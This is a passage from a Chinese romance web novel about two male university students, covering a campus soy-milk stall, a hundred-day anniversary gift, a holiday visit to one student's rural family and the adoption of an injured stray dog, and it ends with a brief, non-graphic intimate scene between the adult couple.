初春的阳光透过玻璃窗轻轻柔柔洒进来,为白仲钺的发顶笼了一层暖光。柏安笔还在手里拿着,眼睛却早离了书,定在白仲钺身上。
这天上午两个人上课时间刚好一样,一二节大课,三四节空着,上完课两个人找了一间空教室自习。不知道是不是累了,白仲钺自习了大概一个小时多点,就交叠胳膊趴在了桌上。
呼吸均匀轻浅,好像睡着了。
柏安能看见白仲钺的发顶、右耳、侧脸鬓角的一颗小痣、脖颈挑起的筋、微突的颧骨和眉梢眼尾。
还有从桌边悬下来的手。
不管看过多久,柏安还是会经常感叹白仲钺的手好看。肤色匀称,在接近指尖时逐渐显现浅淡的粉,手背能够看见明显的青色血管,这样自然垂着,只有中指向上的筋微微挑起。
他的手指真的好直,好长。
柏安忍不住伸手去比对食指的长度,居然差了将近一个指节。
白仲钺总是很轻巧地把他的手握在手里,柏安四指并起和拇指圈成一个开口环,从白仲钺手侧面穿进去,发现没办法拢住白仲钺的四指。
柏安想再悄悄把手收回来,却忽然被攥紧了。
!
吵到了?
教室前边有人在自习,柏安轻呼吸缓下不自觉变急促的心跳,压低声音问:“你醒了呀?”
白仲钺仍旧那样趴着,闷闷笑了一声,低低沉沉的气音让柏安指尖一麻。左手还在白仲钺那里握着,柏安轻轻用拇指在白仲钺手背的骨节上刮了几下,可白仲钺什么反应都没有。
不松手,不起来,也不说话。
他们两个人后面几排空着,没人看见桌子下面牵在一起的手,柏安也反握住白仲钺的,努力努力再努力才勉强看进几页书。
口袋里的手机震了一下,柏安把闹钟关掉,晃晃白仲钺的手:“要到时间了,该去卖豆浆啦。”
白仲钺直起身,终于松开柏安的手,把桌面摊开的书向后翻几页折角后收进书包,柏安才意识到白仲钺刚刚在默书。
那岂不是,从自己量两个人手指长度的时候白仲钺就知道了?
-
柏安的卖豆浆之路不算一帆风顺,但总体波折不大。
先搜到了加盟电话,不过因为品牌费、商用机器、统一形象车以及履约保证金等等加起来足有两万多,柏安果断放弃加盟。考察过市面上带台面和雨棚的小推车、商用豆浆机以及原料和耗材的价格,计算发现投入完全可以控制在五千以下,当即开始选摆摊位置。
开始是打算在食堂边角,但食堂是被第三方承包的,联系后表示要么承租一个窗口要么免谈。食堂外的范围归学校管,学校支持大学生创业,有免租政策,但是只允许在创业基地那一片区域进行。创业基地有很多打印、文具、手作甚至理发的店,也有做饮品的,但因为不顺路需要专门过去,人流量一直不大。
最后去找了几家超市和水果店,终于谈妥一家,是三食堂门口的一家水果店,柏安占用外侧原本用来堆塑料筐杂物的两平米放豆浆摊车,每个月交350元租金。
双方业态无重叠、无竞争,不影响原本的店面生意又能引流收租,柏安还承诺等夏天可以给来买水果的同学提供一元榨汁服务,仅限本店,外来水果榨汁费一律三倍,老板眉开眼笑,乐呵呵把柏安买的水果打了八折。
柏安感慨,自己的豆浆摊很有百家饭的味道——起初选原料供应商家,买了一堆不同搭配的食材包,舍友和群里的学长们全部参与品尝投票。后来想买暖瓶,祁延还有另外几个学长同学一个宿舍出一个,六个暖瓶齐刷刷就在摊边排了一排。
还没开业柏安就认真说过,为了感谢舍友和学长们的帮忙豆浆永久免费,开业后每次卖豆浆前要先去打热水,大家伙儿谁顺路就会去拎两个打水,经常柏安到摊位时才发现早就全满了。
摊上的收款立牌还是白仲钺送的。
这次是柏小老板的正经立牌,金属底座亚克力面,沉甸甸鲜亮亮,板板正正。
柏小老板现在周日不开工,周末食堂门口人流比周一到周五少,如果不是觉得赚一点是一点,大概周六也歇了。
白仲钺只要有空就陪着一起,周一到周六每天早中晚各卖一小时,水果店老板察觉自家店里日营业额跟着上涨后笑得合不拢嘴,挑最甜的水果往豆浆摊上放,说他们两个站在这儿就能引来人,卖什么都能赚。
豆浆原味1.5元一杯,五谷、红枣、黑米2元一杯。除了最开始因为学长同学们的大力转发宣传过于到位供不应求外,基本维持在每天卖一百杯出头,有时候会超一百五。第一个月因为受到大力宣传收入格外高,回本速度远超柏安预期,第二个月居然就开始赚钱了。
豆浆食材成本不高,月收保守按四千算,去掉租金电费和耗材成本,毛利按70%,往最最少算也能余出两千五以上的利润。秋冬天冷销量上浮、夏季天热销量下降,但按照白仲钺做的曲线推算匀到每个月完全能保底三千。以后可以再添一些饮料,到夏天可以花几百块买个小冰箱,卖冰镇豆浆,主推绿豆百合消暑败火,还能冻些冰块当随单赠品。
柏安觉得自己出息了。
虽然折合成时薪不如家教的钱多,但时间自由了也宽裕了,不需要赶公交校里校外来回跑,和白仲钺在一起的时间明显比上学期多出很多。
非常划算!
四月的第二个周日,白仲钺和柏安一起去了空间很多人晒图的郊区油菜花田打卡。
数百亩的油菜花田,黄灿灿地连成片,映着蓝天绿叶,往哪里拍都是画一样的风景。
花田中间隐着很多条走近才能看见的小路,只能单人行走,柏安走在前边,忽然回头让白仲钺在原地等着别动,自己小步往前跑。
“你慢点儿!我不动!”
“摔不到我!”
柏安跑远了才转身,举着手机向白仲钺喊:“你过来吧!”
白仲钺没动:“走还是跑啊?”
“走就行!”
白仲钺低头笑了一下,稳步向柏安走,还差不到一米的时候柏安伸手示意白仲钺停下,自己退了半步,仍旧举着手机:“采访一下,白同学,花好看吗?”
“好看。”
“人好看吗?”
白仲钺笑了:“更好看。”
柏安成功失去了问“人好看还是花好看”的机会,只能换问题:“那,刚刚走过来的时候在想什么?”
“想,你怎么不让我跑呢,走太慢了。”
走向你,太慢了,我想大步跑起来。
柏安低下头去看手机:“咳,现在是4月8日中午,北京时间12点28分,非常感谢白同学的配合,视频到哎——怎么了?”
白仲钺蹲下得太突然,柏安下意识伸手去拉,结果被拽着一起蹲了下去。
这边的油菜花长得格外高,蹲下之后差不多和鼻子齐平,转头看过去是不见尽头不掺杂色的黄,几乎晃眼:“这个角度真好看啊,你怎么想到的?”
“不是让你看花。”
“嗯?”
白仲钺抬手扣住柏安后颈,迅速落了一个吻。
到处都是人,小孩子的笑闹就在耳边,柏安“腾”地红了
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脸:“在外面呢!”
其实白仲钺也有点臊,但做都做了,只能硬撑着不垮:“没人看到,走吗?给你拍张照片。”
柏安这才想起来自己录像还没停,赶忙关了。
白仲钺只给柏安拍了几张,其他时间都是柏安在拍,拍天、拍花、拍人,还有,手。
“这样?”
“把手指上下分散开一点,不要挤在一起,食指放在花底的位置。”
“这样?”
“嗯,”柏安满意点头,“好看!”
扶着花的,对着天的,捏着叶子的,拿着水的……
白仲钺合理怀疑,柏安相册里自己手的照片要比自己的照片多。
算了,都是自己的,计较什么了。
出去吃饭的时候选了室外,柏安把充电宝拿出来给手机充电:“你手机还有电吗?”
“五十七,够用。”
坐在桌边等的时候柏安往外看,看见了好大一束五颜六色的氢气球,还看见了一个套圈的摊位。
“想玩吗?”
柏安摇摇头:“没有,就是才反应过来一件事。”
“什么?”
柏安拿起正给手机充电的充电宝,冲着白仲钺摇了摇。
“啊,”白仲钺笑了笑,在充电宝上弹了下,“暴露了。”
当时两个人一起套圈的时候,到后来柏安想要个充电宝,白仲钺把手里的圈都扔完也没套中。隔了几天,白仲钺问柏安缺不缺充电宝,说自己买东西送了个新的,旧的用不到了,舍友都有,柏安用不到的话就扔掉。柏安见确实是用过的,就收了。
就是现在柏安在用的这个。
“坦白从宽,”柏安把充电宝举到白仲钺下巴的位置用来模拟话筒,“你当时是不是故意套不中的?”
白仲钺只以为柏安想到自己故意编借口送他充电宝,没想到他连这茬都想到了,只好举手投降,“嗯……感觉这种套圈的充电宝质量不好,不安全。”
“我就说嘛,怎么最后一个圈随便一扔就中了,其实你前边几个圈才中一个也是故意的吧?哄我玩?”
“放了一点水。”
“我觉得不止一点。”
白仲钺笑着说:“那两点。”
柏安也绷不住跟着笑:“我发现你老哄我,又不是小孩。”
“大孩儿,有东西送你。”
“嗯?什么啊……钢笔?怎么忽然送我礼物?”
白仲钺声音有点低:“一百天。”
“啊?”
“咳,你就当,忽然想送,就送了。”
柏安看着白仲钺难得不自然的样子忍不住想笑,心里又暖烘烘的:“嗯……我没准备,也没有算天数,过段时间补上。”
“不用,”白仲钺说,“我其实也觉得一百天什么的太……总之没那么有必要,周年就足够了。但是前段时间想起来祁延和他女朋友在一起的时候,没注意一百天两个人还闹了别扭,刚好赶到周末,就想,那过一过吧。”
一支全银色的钢笔,柏安拿出来在手里慢慢转了一圈:“很好看,嗯……这是刻的字母吗……呀?”
旋开笔盖握笔的地方印了两个字母,YA。
白仲钺在柏安额头弹了下:“那是Y和A,什么‘呀’。”
“是钺和安,”柏安捂住额头,“我反应过来了!”
“哇,好聪明啊。”
“我怀疑你在蔑视我的智商。”
“呀。”
“白仲钺!”
“慢点慢点……哈哈我错了……柏老板银河系第一聪明……”
29.我爱你
一百天的礼物柏安后来还是补上了,赶在五一假期前。
很薄的一个卡纸信封,一张塑封过的画,一张卡片,卡片上是个二维码。
“这个二维码是你画的?”
“嗯,是个视频,生成二维码之后照着画的,25×25,不难。”
白仲钺拿出手机来想扫,被柏安按住了:“你回去自己看,别现在啊。”
柏安把画着二维码的卡片放回信封里防止白仲钺抢:“画是舍友画的,我只负责在卫衣前边写了名字还有弄了塑封。”
画上是两个人穿着一样的白卫衣站在操场旁,像自拍合影,只有上半身,两个人头向中间歪,柏安还比了剪刀手。
卫衣上是对方名字的拼音。
“元睦和画的?”
“你记住他名字了啊?”
“和你关系近的人我都记得名字。”
柏安笑得露出牙尖来:“怎么那么厉害。”
白仲钺在他头上揉了一把:“一会儿我回宿舍换件衣服,咱们去操场?”
“啊?干什么?”
“照着这张画拍张照片去,怎么样?”
柏安今天刚好穿了白卫衣,白仲钺去换一件就可以了。
“好啊,”柏安又看了看白仲钺手里的画,“你有记号笔吗?”
“没有,去超市买一支。”
“走!”
两个人去操场找了个边角在对方衣服左胸口位置写拼音,柏安在白仲钺衣服上写的时候没怎么,白仲钺在柏安柏安衣服上写的时候柏安忽然抖了下。
白仲钺手里的笔停了停,没抬头但能听出来声音里带着笑:“碰着了?”
“你故意的!”
“冤枉,你刚刚也碰到我了。”
柏安转头看一边的绿网格,努力忽略胸前往心口钻的痒,小声嘀咕:“我也没看见你有什么反应啊。”
“硬忍,”白仲钺直起身,把记号笔放进柏安卫衣前边的口袋,“好了,来。”
白仲钺一只手搭在柏安肩上一只手拿手机,柏安比剪刀手,但不知道是不是横屏的原因,把白仲钺的脸拉宽了一点。
一样的白卫衣,因为白仲钺脸被拉宽了两个人脸型差距被缩小很多,乍一眼看过去有些像。
柏安把照片发了自己一份,忽然想起来元睦和画画的时候说的话:“元睦和画的时候还和我说,说我们两个人画起来的感觉很像,虽然看起来脸型、五官没什么相似,但画起来手感差不多。”
白仲钺笑了一声:“夫夫相吗?”
“他就这么说的!”
“我觉得他的话有道理。”
柏安一本正经点头:“同上。”
-
五一三天假,刚巧柏安前一天下午和假期后一天上午都没课,除去来回路上还能在家里待三整天。
柏安有史以来第一次翘了晚自习。
但没想到运气实在差,有史以来第一次翘晚自习就收到群里通知,说学生会晚上挨个班查自习,会点名。这会儿已经到了车站,白仲钺在柏安后背轻推了下:“没事,检票了,你放心坐车回家,晚上我去替你答到。”
“你去?”柏安眼睛都不自禁圆了,白仲钺去给自己答到和把“柏安缺勤”放大加粗投在大屏幕上有什么区别?
“放心,赶紧走吧,要到时间了,一定不让你缺勤。”
柏安坐上车才来得及给白仲钺发消息。【我在车上了,其实现在想想,缺勤一次好像也可以接受。】
【我觉得不太能接受。】
柏安已经能预见假期回来接受郝昕魔音穿耳的场景了。
白仲钺嘴角一直没下来,不等出车站,送走柏安后就戴上耳机。
最近两天,白仲钺但凡独处,都戴着耳机。
柏安做的视频开头是一段独白——
【“这个视频,这段话,送给现在在听的你。”
“白仲钺。”
“一直很遗憾,曾经错过了你的告白,但因为和你在一起这件事,所有遗憾都是圆满。”
“喜欢同性的人,他喜欢的人也喜欢同性都不能算简单,喜欢的同性恰好喜欢自己更是小概率事件,最后能在一起,我只能说,自己运气太好太好了。”
“谢谢你喜欢我,谢谢你愿意那样坦然无畏地站在我前面,不过,如果有一天要面对攻击和恶意,无论什么情形,我都想和你并排站。”
“我很喜欢你,白仲钺,从看见你的第一眼就很喜欢很喜欢,这份喜欢与日俱增,我觉得它已经可以换一种说法来表达了。”
“我爱你。”
“很幸运,可以遇见一切夸奖都不足以形容的你。”
“希望可以一直一直在一起。”
“我证明,你是一个非常非常好的男朋友。同样,相信我也可以一直做一个非常好的男朋友,不管过去多少天多少年。”
“非常希望可以有一个自证的机会。”
“以上,你的柏安。”】
独白之后是一首歌,配了两个人在一起后拍过的照片、录过的视频,很多对两个人来说有意义的地点、物品的图都配了字。
【“《遇见你的时候所有星星都落到我头上》,这首歌送给你,要喜欢。”】
视频开始的独白,是对那场错过告白的回应。
这首歌,是柏安满溢的情感。
白仲钺反复看过许多遍,把音频提取出来上传到音乐软件里,设了单曲循环。
-
晚上白仲钺真的去了柏安自习的教室,在一片咳嗽声里坦坦荡荡答了“到”,学生会点名的人根本压不住要上天的嘴角,憋得脸通红没点完名就走了。
白仲钺是第二天上午回的家,只是没想到,进门就是冷冷清清空空荡荡,家具居然都蒙了防尘罩?
“小钺,你回家了?不是给你发消息了吗?我和你妈妈出来玩了,好不容易最近空闲!”
白仲钺把沙发上的防尘罩掀开一半让自己有个地方坐下:“爸爸,我很确定没收到过这个通知。”
“你等等啊!”那边应该是在海上,能听见海浪的声音,“可能当时网络不好啊!一个红感叹号,没有发出去!你找朋友出去玩嘛,不想出门就打电话让金嫂去家里啊!挂了!”
白仲钺捏捏鼻梁,搜出来一个可怜巴巴的表情包给柏安发
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过去。
柏安立刻回复过来。【怎么了?】
【我觉得自己被抛弃了】
【啊?】
白仲钺正打字,柏安的语音通话过来了:“你怎么了?”
“回家差点以为家没了。”
柏安听白仲钺说完,一边觉得他可怜巴巴一边又想笑:“那你这几天要做什么啊?”
“不知道——”
“要不然,你来找我吧?我带你下河爬山啊。”
柏安问过家里,白仲钺就直接出发去车站了。
下火车之后需要转一趟大巴,白仲钺刚出火车站,就看见了在出站口等着的柏安。
不知道是不是因为到了柏安的地界,柏安一边话很多一边又有点害羞似的。大巴车跑了半个多小时,下车之后柏安让白仲钺等自己,他把停在化肥店门口的电动车骑过来。
白仲钺带的东西一部分放在电动车前边,一部分在手里提着,后座放白仲钺那两条长腿可能有点委屈:“学长你会骑电动车吗?要不然你载我,我给你人工导航。”
“不知道会不会,没骑过。”
“那算了,你坚持一下吧,五分钟就到。”
“好,”白仲钺坐在后座,腾出几根手指扶了一下柏安的腰,明显感觉他那层软肉都绷紧了,“我来你是不是有点紧张?”
柏安捏着闸侧转头低声说:“我有种上门见家长说亲的感觉,尤其你还带了这么多东西。”
白仲钺笑出声:“放松,你要自然点,我就是普通学长,五一假期无处可去所以来投奔你。再说,上门说亲带这点东西也太寒酸了。”
柏安本来听前半段还好好的,一拧手把出发了,结果听到最后一句车把一拐,正压到一块小石头上。
猛地一颠。
“学弟,你要淡定啊,我命都交在你手里了。”
柏安觉得每次自己一慌白仲钺就格外活跃兴奋,简直明摆着欺负人。
路上遇见村里的老人,柏安放慢速度喊人:“太奶奶!”
“哎——!同学过来耍哇?”
“对——!我回家去啦!”
“去吧——!好~娇娇——!”
骑出来一段柏安才后知后觉地脸红,他第一次在白仲钺面前说家乡话,还这么响亮,还被喊了“娇娇”。
“那个,我们这边的家乡话,老一辈喊小孩会喊娇娇,就是好孩子的意思。”
“知道了娇娇。”
“你别叫!”
“娇娇多好听。”
“不准叫了!”
“娇娇娇娇柏娇娇。”
“哎——来了啊!”柏安妈妈出来门看,正遇到两个人回来,“赶紧进家,这孩子,怎么还带东西?”
白仲钺在听见柏安妈妈招呼的一秒就切换回正经模式:“阿姨好!没事没事,我拿就行。”
“我不累阿姨。”
“奶奶好!”
“白仲钺,叫我小白就行。”
柏安在后面憋笑到面部濒临抽搐,刚刚还逗弄自己的人呼啦一下乖成了乖巧小白兔。
简直了。
这就是传说的风水轮流转吗?
30.家
“柏安——拿笊篱来——”
“哦!”
柏安手上刚抹完香皂,边洗边求助:“白仲钺你帮我拿一下吧,在后边那个橱子里。”
“拿什么?”
“笊篱。”
“啊?”
“就是那个……漏勺,”柏安已经洗完手了,“算了我拿吧。”
柏安手都没擦就拿了送到做饭的屋里去,柏安妈妈接过去一边捞饺子一边说:“亏我早喊你,不然要煮过了。”
“洗手来着,我再拿个盆吗?”
“旁边就有干净的,你端着我盛。”
柏安尽职尽责端着盆当架子,盛完刚转身要走就被叫住:“小白看着像讲究人,习惯和咱们这样吃一个盆儿里的饺子吗?”
“应该没事吧……”
“你还是拿个盘来,我单独给盛一盘。”
柏安其实也拿不准白仲钺会不会不习惯,问的话白仲钺肯定说没事,但又怕白仲钺吃得不舒服:“哦,好。”
“哎,”柏安妈妈又叫住柏安,“你这盆别往外端了,还是直接拿四个盘来,咱都用盘,一人一盘儿。”
柏安端着盆饺子原地挪了足有一分钟,放到台面上时手腕都要酸了:“都用盘桌子放不下吧,还有四个菜,都是大盘子,还有四个放蒜泥的碗呢。”
“是挤点,你把晾干菜的板放桌上去,那个沉,麻烦麻烦小白,让他和你抬。”
“行,我弄去。”
“先拿盘来啊!不然粘了!”
“哦!”
吃饭的时候白仲钺在一边等柏安奶奶和妈妈先坐,奶奶坐下推了推马扎:“小白赶紧坐啊,别拘束,瞧这大高个儿哟,长得真好。”
“哎,好。”白仲钺应着坐下,习惯性转头去找柏安。只剩一个菜了不用柏安端,柏安对上白仲钺的视线,把手上的水珠简单一擦赶紧也到桌边坐下了。
奶奶笑着让白仲钺先吃:“你快吃,饿了吧?安安你陪着啊。”
白仲钺没动筷:“奶奶我不饿,中午吃得多,等阿姨一起吧。”
“哎呦,”奶奶拍了拍嘴,“真是年纪大记性不行了,说得叫大名的,没留神又叫小名了。”
“没事儿啊奶奶,我都说现在长大不在意这个了,你和妈偏不信,大名小名有什么的啊,真没事儿。”
白仲钺不自觉就带了笑。
柏安和奶奶说话的时候总有种软乎乎的感觉,偶尔有个别字的音会拖长。有点像撒娇,又有点像在故意哄着老人家高兴,总之,和平时很不一样。
“怎么不吃啊?”柏安妈妈端着最后一个菜上桌,“赶紧吃,别凉了。”
四个人占了桌子的三个边,柏安奶奶和妈妈在两边,白仲钺和柏安在中间。
“嗯……”
白仲钺发出轻轻一声,柏安转头看他:“怎么了?”
柏安奶奶和妈妈听见柏安问也看向白仲钺,白仲钺被三个人看着,把嘴里的水饺咽下去,说:“这个是甜的。”
“嗐,”柏安妈妈笑笑,“忘了这事,你不吃放一边就行。这种看着有点扁的就是白糖馅,你挑给柏安,他吃。”
其实一共没几个扁的,白仲钺吃了一个,盘子里能看见的就还一个。
柏安把他盘子里的夹给自己:“我小时候爱吃甜,家里每次煮水饺都会包五六个白糖的,成习惯了。”
“那可是了,”奶奶乐呵呵地指了指柏安,“他小时候都偷偷拿勺子挖白糖吃,大米饭不就菜吃,光拌糖,每回烙饼啦蒸包子弄水饺啦,他自个儿就抱着糖罐守在边上,等着给他弄白糖馅的。”
柏安奶奶和妈妈轮番说柏安小时候的事,也问白仲钺家里做什么的,学什么的。聊完收拾桌子时白仲钺也搭了手,收拾完柏安要洗碗被妈妈拦住,让陪白仲钺玩去,看电视回房间出去走走都行,别晾着人家。
两个人出了门。
正是最舒服的时候,不冷不热,晚风和暖。柏安家位置靠近村庄外缘,走几分钟就是空旷的庄稼地。
“你以前来过农村吗?”
“没有,”白仲钺随着柏安的步子慢慢走,仰头看天,“去过一些山庄,还有声称原生态的农家景点,但和这儿不一样。”
“那你感觉怎么样?还好吗?”
“很舒服,很有意思,”白仲钺说,“家里人都很好,景色好,星星也好。”
柏安笑起来,也抬头看:“今晚星星好多啊。”
“还特别亮。”
白仲钺想,难怪柏安会喜欢。
这样的星星,谁都会喜欢。
“这边可以上去,来。”
白仲钺跟着柏安坐到一个大概三四米高的长方体建筑物顶上:“这是干什么的?不像住人的房子。”
“弄水的,”柏安指着田地边的水渠给白仲钺看,“隔一段时间管着放水的人就会来这儿开水,谁家地里庄稼需要浇水就把水渠里的水引过去。”
“挺方便的。”
“对啊,我记得小时候家里都要去井里打水再挑到地里浇庄稼。”
“挑?”
“用扁担,你见过吗?就是一根木头两边有铁钩,一个钩子上挂一桶水。”
“电视里见过,现实里只见过一次,不过是放在墙上做装饰物的。”
“会用的话很省力,不会用就走路都不稳,你看过银环吗?以前奶奶说我用扁担就像银环似的。”
画面感太强了,白仲钺笑出声:“那肯定很好看,你明天挑一个我看看。”
“哼,我现在挑得可稳了,你如果挑说不定不如我呢。”
“肯定不如你。”
白仲钺和柏安一样向后撑着身子,把手盖在柏安手背上,两个人肩并肩坐着,吹风,聊天。
“白仲钺。”
“嗯?”
“你毕业以后想做什么啊?”
“读我们学校的硕士,接管家里的公司,然后尽力把公司做好,”白仲钺想了想,说,“其实我好像没什么特别想做的事,大
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部分时候都是需要做什么就做什么。”
“可能因为你想做什么都很容易做到,没有阻碍,所以就没什么特别想做的。感觉大家特别想做的事都是轻易完成不了的。”
“好像有道理,”白仲钺笑了笑,“你呢?你以后想做什么?”
“现实一点的话就想有份收入不错的工作,能养着奶奶和我妈,最好可以早点把她们接到我在的城市去一起住。”
“那还有不现实一点的?”
“有啊,嗯……我想做一款游戏,可以用VR眼镜也能普通2D3D,就是,有各个朝代各个国家的风景呀建筑呀,玩的人可以做任务赚钱买衣服盖房子,不会玩游戏的老人也可以进去走走转转看风景,像旅游一样。”
“是想给奶奶和妈妈玩的吗?”
“嗯,”柏安猛地转头,“你刚刚叫的什么?”
白仲钺看着柏安笑:“早晚要改口,我先私下叫叫怎么了。”
还好是大晚上,家里这边也不像A市的夜里灯火通明,看不见脸红不红。
白仲钺手背在柏安脸上贴了下:“嗯,热了……哎!果然是时间长了,动不动就动手……啊……再欺负我我回去找奶奶和妈妈告状去啊。”
“你幼不幼稚!”
“还行,比你大两岁。”
“切。”
“其实假期也可以带奶奶妈妈出去旅游,我来安排。”
“谢礼,”柏安在白仲钺脸上亲了下,“不过不用了,我奶奶身体不好,坐不了车,我妈晕车特别厉害,我们这边的县城都很少去,偶尔必须要坐车的时候晕车药晕车贴齐上阵,但还是会难受,坐一两个小时回来能躺一整天。”
白仲钺一时也想不出好办法,柏安晃晃他的手:“不说这个了,你这两天有没有想做的啊?我们邻村山上有个天狼洞,明天带你去看看?”
“行啊,我也不知道有什么,都听你的,”白仲钺转头看远处,“你说要带我下河爬山,我还以为你家这边挨着很多山。”
“就是很多啊,那么一大片呢。”
“充其量算丘陵吧?这么矮。”
“矮怎么了,”柏安想起吃饭的时候都说自己比白仲钺矮一大截要多吃饭的事,“矮也是山。”
白仲钺也想到了:“你多高?”
“你不知道我多高啊?”
“不穿鞋的,你之前肯定虚报了。”
“白仲钺你太过分了,人民群众对你表示不满!”
“你不说我就回去问阿姨有没有卷尺,一起给你量。”
“174——那我穿鞋就肯定有175了啊,有什么差别。”
“没差别,我就是想知道。”
柏安在白仲钺手背上拍了下:“那你呢?之前说185是穿鞋还是没穿鞋的?”
“没穿,”白仲钺忽然贴得柏安很近,“而且我少报了一厘米,不穿鞋是186,当时看你那么努力克服心虚谎报身高,不忍心……啊!家庭暴力不可取啊柏娇娇……”
31.同居
自在的时候,时间就像天马脱了缰。
柏安带白仲钺去看山上的洞、林里的泉,捉了河里的虾又放回去,还用纸箱帮家里刚出生的九只小兔做了窝。
白仲钺有生以来第一次见刚出生的兔子,闭着眼睛,没有毛,全身粉红,和科普视频里的熊猫幼崽有点像。柏安拿给白仲钺问他要不要感受一下的时候,白仲钺悄悄紧了紧牙关才面不改色地接过去又放进窝里。
经柏老师科普,白同学知道了:有的兔子会在生小兔前用毛和塞进去的干草做窝,有的不会,还有的会咬死小兔甚至吃掉,其实大部分兔子生小兔之后不用分开,家里一直把刚出生的小兔单独安置是为了防老鼠。
还知道了小羊羔刚出生就是可以站起来的。
还几经申请才被同意帮着家里种了一下午花生。
到了田地里,白仲钺就成了最弱的一个,只能跟在奶奶后面扔扔花生种。
走的时候柏安妈妈硬让把白仲钺带来的东西拿些回去,白仲钺推脱好久才罢。最后带了柏安妈妈做的辣肉酱、脆咸菜,装了两只杀好洗净的散养鸡,还有两双柏安奶奶纳的鞋垫。
柏安奶奶存了很多自己纳的鞋垫,各种花样各个鞋码都有,挑了里边最大的放进白仲钺的鞋里试,刚刚好。
“假期有空再来玩哦!”
“一定来!奶奶您回去吧!”
“再来不兴提东西了啊!不然不让来喽!”
“好!不提了!阿姨再见!”
回去那天下晚自习柏安没回宿舍,让舍友帮忙应付查寝。
假期两个人晚上一起睡柏安房间,但毕竟在柏安家,奶奶妈妈就在隔壁睡着。而且,柏安房间门上有块窄窄的透明玻璃,尽管奶奶和妈妈不会趴在上面看,也总归有风险。
最多最多只是夜深人静时悄悄亲几下,晚上在被子底牵个手,其它的想法全得压着,压不住也只能硬忍。
再忍就要出家了。
两个人从在小区门口下车的一秒气氛就开始微妙,那点急于亲热接近的小心思,不好宣之于口又彼此心知肚明。
“呜——哦呜......”
柏安扯扯白仲钺:“什么声音?”
白仲钺也听见了:“像小猫小狗,在那边。”
柏安拉着白仲钺朝着声音来处走,在一棵矮树旁看见了一小团瑟缩的黑影。
“它受伤了……”
“别伸手!”
白仲钺看那只狗抖得厉害,急急去拦柏安,但没来得及,狗咬过来的时候白仲钺下意识把手挡到了前边去。
“白仲钺!” 柏安声音都变了调——那只乌黑的狗嘴巴一口咬住了白仲钺小半手掌。
“没事,”白仲钺空着的手握住柏安要捉狗的手,“它没咬。”
“吱……”小黑狗喉咙里发出一声,把白仲钺的手松开又缩了回去。
白仲钺手掌边糊了层口水和几个坑坑洼洼的牙印,他把手举到柏安面前,“它刚刚舔我。”
柏安边松气边笑出声:“吓死我了。”
“你也吓死我了,以后碰见狗别随便伸手。”
“呜……吱……”
柏安答应下,注意力重新被小黑狗吸引过去:“它好像伤得很严重,能怎么弄一下吗?它刚刚没咬你,可以抱吧?”
“不行,万一碰到伤把它弄疼了说不定会咬人,”白仲钺拉着柏安站起来,“我们去物业问问有没有废纸箱。”
两个人刚转身,小黑狗立刻长长“呜”了一声,拐着弯,听着委委屈屈的。柏安又蹲回它面前去:“我们一会儿就回来,你乖乖待着别乱跑。”
不知道它听懂没有,柏安再站起来的时候只听见小黑狗嗓子里出了轻轻一声。
把纸箱侧倒放在小黑狗近处,柏安蹲在旁边说:“你如果进去的话,我们就带你去治伤,帮你找个家。”
小黑狗慢吞吞站起来,柏安才注意到它前腿有一条耷拉着,好像断了。
“呜……”小黑狗探着头在纸箱里嗅来嗅去,嗅了好一会儿,最后居然真的进去了。
“白仲钺,你说它是不是能听懂我说话啊?”
“有可能,走吧,去附近宠物医院看看。”
“沉不沉啊?我端着它吧。”
“不沉,最多有你的十分之一。”
“怎么可能,它才这么点儿大!”
“是啊,所以不沉。”
“哼……”
到了宠物医院才发现小狗的情况实在很不好,可以说遍体鳞伤,不止左前腿断了,左边眼睛里有碎石头,还没了一半尾巴。身上的这些伤一看就是人为,医生感叹了好几遍,说这种情况他们两个人靠近居然没被攻击实在太难得。
柏安原本想着给小狗治好伤就去网上找个人领养,这会儿隔着一段距离看着打了麻药几乎被剃光了毛的狗,不知道怎么心里软得一塌糊涂。
况且医生说腿必须要截肢,左眼已经瞎了,治不好。
一只少了半条腿、一只眼睛、半条尾巴的狗,要找到人领养太难了。
狗要留在医院治疗,回去后柏安和白仲钺说,想养。
学校不能养宠物,如果要养只能养在外面的住处。
其实白仲钺也可以把狗带回去交给家里帮忙的人养着,但他原本今晚就想和柏安商量愿不愿意从学校搬出来一起住的。
“如果你是担心找不到人养的话,我可以找到人养它。如果是你自己想养的话,我们……”
“我们一起出来住吧!”柏安率先提议。
白仲钺笑出来,得了便宜还要卖乖:“为了养狗?”
“嗯……也不只是因为这个,你想不想啊?不想就算了。”
“想,”白仲钺把人压在沙发里吻过一气,嗓音都重了几分,“特别想。”
“嗯……白仲钺……”
白仲钺沉了沉身,骨节分明的手探进衣摆:“嗯?”
柏安不自觉迎:“你会不会……那个……我搜了一下……”
白仲钺低低笑了声:“哪个?”
柏安威胁似的把他抓住了。
命门有难,白仲钺乖乖投降:“认真研究过,应该会了。”
“那……”
“再等等,”白仲钺闷哼一声,低头亲柏安眼睛,“……轻点儿柏娇娇……嘶……”
“等什么啊……”
“买的东西还没到。”
“嗯……什么东西?”
没过几天,柏安就知道是什么东西了。
白仲钺和被剃得秃不拉几的丑不溜秋的狗在一旁弄狗窝,柏安盘腿在边上拆快递。
除了柏安知道该有的东西,还有好几样
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别的:“这又是什么……缓痛……滋养?”
白仲钺停手叹气:“别念了。”
柏安在箱底单独包装的小盒里拆出一个粗黑边塑料镜框戴上,手里抱着一堆大小不同用途不一的盒子:“白仲钺,你是要做实验吗?”
白仲钺没好气地一把将人捞过去:“做你。”
“唔……别……狗……”
“诚心招惹我呢吧?”
“我就是没想到这么多东西啊……我搜到的,就,常用的那两样。”
白仲钺揉了一把柏安头发:“怕你疼。”
“哦……那,”柏安推推遮住自己小半张脸的黑边镜框,“这个呢?”
“走了。”
“干什么?哎——”
“洗澡。”
“还没晚上呢!天都没黑透!”
“等不到晚上了。”
白仲钺方方面面都做了充足准备,可等真的实践才知道有多要命。
刚一开始柏安就叫出声缩着身子要躲,白仲钺不敢继续:“疼?”
“嗯……”
白仲钺一只手紧握,用指甲陷进掌心的痛感把身体里叫嚣的念头压住,深吸一口气安抚柏安:“我慢慢的……”
好不容易哄着把人亲软了,没一半又被抵住了肩膀——柏安实在怕疼,虽然前面准备得足够好,虽然早就做好了比现在疼很多倍的准备,但真的到了这时候,他想到白仲钺那儿就虚得要命,只能抖着声音打商量。
“别都……行不行……”
白仲钺发现就不能让柏安说话,柏安用这种不同于平时的声音语调打着颤说一句,他堪堪压下去的燥和热轰一下全变本加厉冒出来。
“行吗……”
“……”白仲钺咬牙,“行。”
“你轻点儿……”
“好好好……”
